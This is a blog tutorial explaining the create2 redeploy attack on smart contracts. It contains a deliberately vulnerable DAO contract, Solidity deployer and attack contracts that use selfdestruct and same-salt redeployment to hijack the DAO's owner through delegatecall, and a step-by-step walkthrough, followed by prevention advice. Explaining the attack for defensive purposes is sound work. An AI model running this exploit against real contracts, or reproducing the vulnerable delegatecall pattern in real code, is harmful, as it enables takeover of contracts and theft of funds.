paint-brush
What is a create2 Attack in Smart Contracts? How to Avoid It? 🤔by@codingjourneyfromunemployment
431 reads
431 reads

What is a create2 Attack in Smart Contracts? How to Avoid It? 🤔

by codingJourneyFromUnemploymentDecember 5th, 2023
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

Explore create2 opcode vulnerabilities in DeFi contracts, learn prevention measures against smart contract attacks.
featured image - What is a create2 Attack in Smart Contracts? How to Avoid It? 🤔
codingJourneyFromUnemployment HackerNoon profile picture

A create2 opcode attack in smart contracts essentially exploits the feature of this opcode to deploy contracts at a specific address. This feature, combined with certain contract logic, can become a vulnerability to be exploited. Although the create2 opcode is quite simple, it provides greater flexibility for contract implementation, making it very common in today's DeFi protocols. 🌐


For instance, in UniswapV3, token liquidity pools are automatically deployed using a factory contract. When we call some functions of the UniswapV3 contract (like flash loans), we can calculate the address of the corresponding liquidity pool in a way similar to this:

address pool = address(
            uint160(
                uint(
                    keccak256(
                        abi.encodePacked(
                            hex"ff",
                            factory,
                            keccak256(abi.encode(key.token0, key.token1, key.fee)),
                            POOL_INIT_CODE_HASH
                        )
                    )
                )
            );

This is because the create2 opcode calculates the address when deploying a contract using four parameters: the first is bytes1(0xff) to avoid address collision with contracts deployed using create, the second is the address of the contract deployer, the third is a salt value determined by the deployer, and the fourth is a hash value calculated from the contract's bytecode and packed parameters. 🧩


This reminds us to be mindful of the deployment method of contracts and the possibility of changing the content of the called contract through the create2 opcode, potentially injecting malicious code. 🛡️


In this article, I will demonstrate a simple create2 attack example and how to prevent such attacks.

First, Let's Describe the Process of a create2 Attack

Alice deploys a simple DAO contract, whose main function is to approve proposals created by others and then execute these proposals through delegatecall. The code is as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
        proposal.executed = true;
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

The attacker, Eve, discovers a vulnerability in this DAO contract and deploys a Deployer contract. This contract uses the create2 opcode to deploy two other contracts. One is the legitimate Proposal contract, and the other is the Attack contract used for the attack. The code is as follows:

contract Deployer {
    event Log(address addr);

    function deployProposal(uint256 salt) external {
        address addr = address(new Proposal{salt: salt}());
        emit Log(addr);
    }

    function deployAttack(uint256 salt) external {
        address addr = address(new Attack{salt: salt}());
        emit Log(addr);
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}

A simplified process of a create2 attack:

  1. Eve first uses the Deployer contract with a predetermined salt value (e.g., bytes32 salt = keccak256(abi.encode(uint(123)));) to deploy the Proposal contract, which is a legitimate proposal. 🧱
  2. Eve submits this proposal to Alice, and Alice calls the DAO contract to approve this proposal. ✅
  3. Eve invokes the emergencyStop function of the Proposal contract, triggering selfdestruct, and thus destroying the contract. 💥
  4. Eve uses the Deployer contract with the same salt value (e.g., bytes32 salt = keccak256(abi.encode(uint(123)));) to deploy the Attack contract, inserting malicious code. 🕵️‍♂️
  5. Alice calls the execute function of the DAO contract to execute the proposal. Since the Proposal struct's data structure and the execute function's logic do not check the internal logic of the proposal at the time of execution, they only execute based on the address of the already approved proposal contract. Therefore, the delegatecall actually calls the Attack contract. 🚨
  6. The Attack contract contains a function executeProposal with a signature identical to that in the Proposal contract, circumventing the function signature check in (bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()"));. As a result, the executeProposal function in the Attack contract is called, modifying variables in the corresponding storage slots of the DAO contract through delegatecall. 🔀
  7. Observing the storage slots of the DAO contract, the first one is the struct Proposal, which does not actually occupy storage slots when declared. Therefore, the variable at slot 0 is actually address public owner = msg.sender;. Looking at the storage slots of the Attack contract, slot 0 also contains address public owner;. So, the delegatecall to owner = msg.sender; in the Attack contract results in changing the owner variable in the first storage slot of the DAO contract to the attacker, Eve. 🎭

How to Prevent Such create2 Attacks

This attack is quite simple in itself, but it shows that the combination of the create2 opcode and contract logic used extensively in today's mainstream DeFi protocols is not always perfect. Based on the principle of the attack, we can consider the following ways to reduce such risks:


  1. Before approving and executing any external contract calls, we should verify the content of the contract itself, not just represent the already deployed contract by its address. This can be achieved by verifying the contract's bytecode. 🔍

  2. Be wary of contracts with selfdestruct functionality and limit and monitor calls to them. This can be achieved through code audits and contract governance. ⚠️

  3. For DAO-type contracts, consider adding a time lock before executing proposals. This can provide enough buffer time to review the content of the proposal, ensuring it has not been replaced with malicious actions. ⏳

  4. Be cautious in function calls involving delegatecall, as delegatecall will change the variables in the caller's own storage slots. Even if it's not malicious code, inconsistencies in the storage layout between the caller and the callee can lead to unexpected errors. 🤔


That concludes our discussion on create2 attacks and related security strategies. Since you've made it this far, how about giving me a like? 👍